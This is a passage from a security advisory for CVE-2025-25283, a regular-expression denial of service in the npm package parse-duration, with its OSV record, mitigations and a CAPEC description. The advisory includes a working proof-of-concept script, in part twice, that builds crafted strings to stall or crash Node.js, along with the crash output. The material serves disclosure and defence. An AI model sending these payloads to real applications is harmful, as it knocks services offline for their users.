`\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
);
result = testRegex(longStringVar1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
);
result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
);
result = testRegex(longStringVar2);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
The results of this on the cloud machine that I ran this on are as follows:
@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js
Regex test on string of length 6320 (size: 0.01 MB):
matched: 5997140778.000855, time taken: 0.9271340000000237ms
Regex test on string of length 3561724 (size: 3.40 MB):
matched: 0.0006004999999999999, time taken: 728.7693149999999ms
Regex test on string of length 4575003 (size: 4.36 MB):
matched: null, time taken: 43.713984999999866ms
Regex test on string of length 198500000 (size: 189.30 MB):
<--- Last few GCs --->
[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed
<--- JS stacktrace --->
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----
1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]
2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
4: 0x11180d5 [node]
5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
10: 0x1979ef6 [node]
Aborted (core dumped)
You can note that:
1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)
2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's parse() function
3. A 200 MB of input size already causes JavaScript heap out of memory crash
However, more interestingly, if we focus on the input string case:
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)
Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:
Regex test on string of length 5225503 (size: 9.97 MB):
file:///workspaces/parse-duration/index.js:21
.replace(durationRE, (_, n, units) => {
^
RangeError: Maximum call stack size exceeded
at String.replace (<anonymous>)
at parse (file:///workspaces/parse-duration/index.js:21:6)
at testRegex (file:///workspaces/parse-duration/redos.js:35:17)
at file:///workspaces/parse-duration/redos.js:89:12
at ModuleJob.run (node:internal/modules/esm/module_job:234:25)
at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)
at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)
Node.js v20.18.1
To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various replace functions in the parse() function which create copies of the input in memory.
Impact
- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.
- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.
- Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-duration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25283"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-12T19:45:51Z",
"nvd_published_at": "2025-02-12T19:15:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThis report finds 2 availability issues due to the regex used in the `parse-duration` npm package:\n1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.\n2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.\n\n### PoC\n\nRefer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:\n\n```js\n// Vulnerable regex to use from the library:\nimport parse from \u0027./index.js\u0027\n\nfunction generateStressTestString(length, decimalProbability) {\n let result = \"\";\n for (let i = 0; i \u003c length; i++) {\n if (Math.random() \u003c decimalProbability) {\n result += \"....\".repeat(99);\n }\n result += Math.floor(Math.random() * 10);\n }\n return result;\n}\n\nfunction getStringSizeInMB_UTF8(str) {\n const sizeInBytes = Buffer.byteLength(str, \u0027utf8\u0027);\n const sizeInMB = sizeInBytes / (1024 * 1024);\n return sizeInMB;\n}\n\n\n// Generate test strings with varying length and decimal probability:\nconst longString1 = generateStressTestString(380, 0.05);\nconst longString2 = generateStressTestString(10000, 0.9);\nconst longString3 = generateStressTestString(500000, 1);\nconst longStringVar1 = \u0027-1e\u0027 + \u0027-----\u0027.repeat(915000)\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"\u03b1\".repeat(5225000)\n\nfunction testRegex(str) {\n const startTime = performance.now();\n // one of the regex\u0027s used in the library:\n // const durationRE = /(-?(?:\\d+\\.?\\d*|\\d*\\.?\\d+)(?:e[-+]?\\d+)?)\\s*([\\p{L}]*)/giu;\n // const match = durationRE.test(str);\n // but we will use the exported library code directly:\n const match = parse(str);\n const endTime = performance.now();\n const timeTaken = endTime - startTime;\n return { timeTaken, match };\n}\n\n// Test the long strings:\nlet result = {}\n\n{\n console.log(\n `\\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`\n );\n result = testRegex(longString1);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`\n );\n result = testRegex(longString2 + \"....\".repeat(100) + \"5\u0441\u0435\u043a\".repeat(9000));\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`\n );\n result = testRegex(longStringVar1);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n\n{\n console.log(\n `\\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`\n );\n result = testRegex(longString3 + \u0027.\u0027.repeat(10000) + \" 5\u0441\u0435\u043a\".repeat(9000));\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n\n{\n console.log(\n `\\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`\n );\n result = testRegex(longStringVar2);\n console.log(\n ` matched: ${result.match}, time taken: ${result.timeTaken}ms`\n );\n}\n```\n\nThe results of this on the cloud machine that I ran this on are as follows:\n\n```sh\n@lirantal \u279c /workspaces/parse-duration (master) $ node redos.js \n\nRegex test on string of length 6320 (size: 0.01 MB):\n matched: 5997140778.000855, time taken: 0.9271340000000237ms\n\nRegex test on string of length 3561724 (size: 3.40 MB):\n matched: 0.0006004999999999999, time taken: 728.7693149999999ms\n\nRegex test on string of length 4575003 (size: 4.36 MB):\n matched: null, time taken: 43.713984999999866ms\n\nRegex test on string of length 198500000 (size: 189.30 MB):\n\n\u003c--- Last few GCs ---\u003e\n\n[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -\u003e 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -\u003e 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed\n\n\n\u003c--- JS stacktrace ---\u003e\n\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n----- Native stack trace -----\n\n 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const\u0026) [node]\n 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const\u0026) [node]\n 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const\u0026) [node]\n 4: 0x11180d5 [node]\n 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]\n 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]\n 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]\n10: 0x1979ef6 [node]\nAborted (core dumped)\n```\n\nYou can note that:\n1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)\n2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library\u0027s `parse()` function\n3. A 200 MB of input size already causes JavaScript heap out of memory crash\n\nHowever, more interestingly, if we focus on the input string case:\n\n```js\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"\u03b1\".repeat(5225000)\n```\n\nEven though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:\n\n```sh\nRegex test on string of length 5225503 (size: 9.97 MB):\nfile:///workspaces/parse-duration/index.js:21\n .replace(durationRE, (_, n, units) =\u003e {\n ^\n\nRangeError: Maximum call stack size exceeded\n at String.replace (\u003canonymous\u003e)\n at parse (file:///workspaces/parse-duration/index.js:21:6)\n at testRegex (file:///workspaces/parse-duration/redos.js:35:17)\n at file:///workspaces/parse-duration/redos.js:89:12\n at ModuleJob.run (node:internal/modules/esm/module_job:234:25)\n at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)\n at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)\n\nNode.js v20.18.1\n```\n \nTo note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory.\n\n### Impact\n\n- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.\n- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.\n- Even for the smaller payloads such as 0.01 MB which aligns with Express\u0027s default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.",
"id": "GHSA-hcrg-fc28-fcg5",
"modified": "2025-02-12T21:35:41Z",
"published": "2025-02-12T19:45:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25283"
},
{
"type": "WEB",
"url": "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/jkroso/parse-duration"
},
{
"type": "WEB",
"url": "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "parse-duration has a Regex Denial of Service that results in event loop delay and out of memory"
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.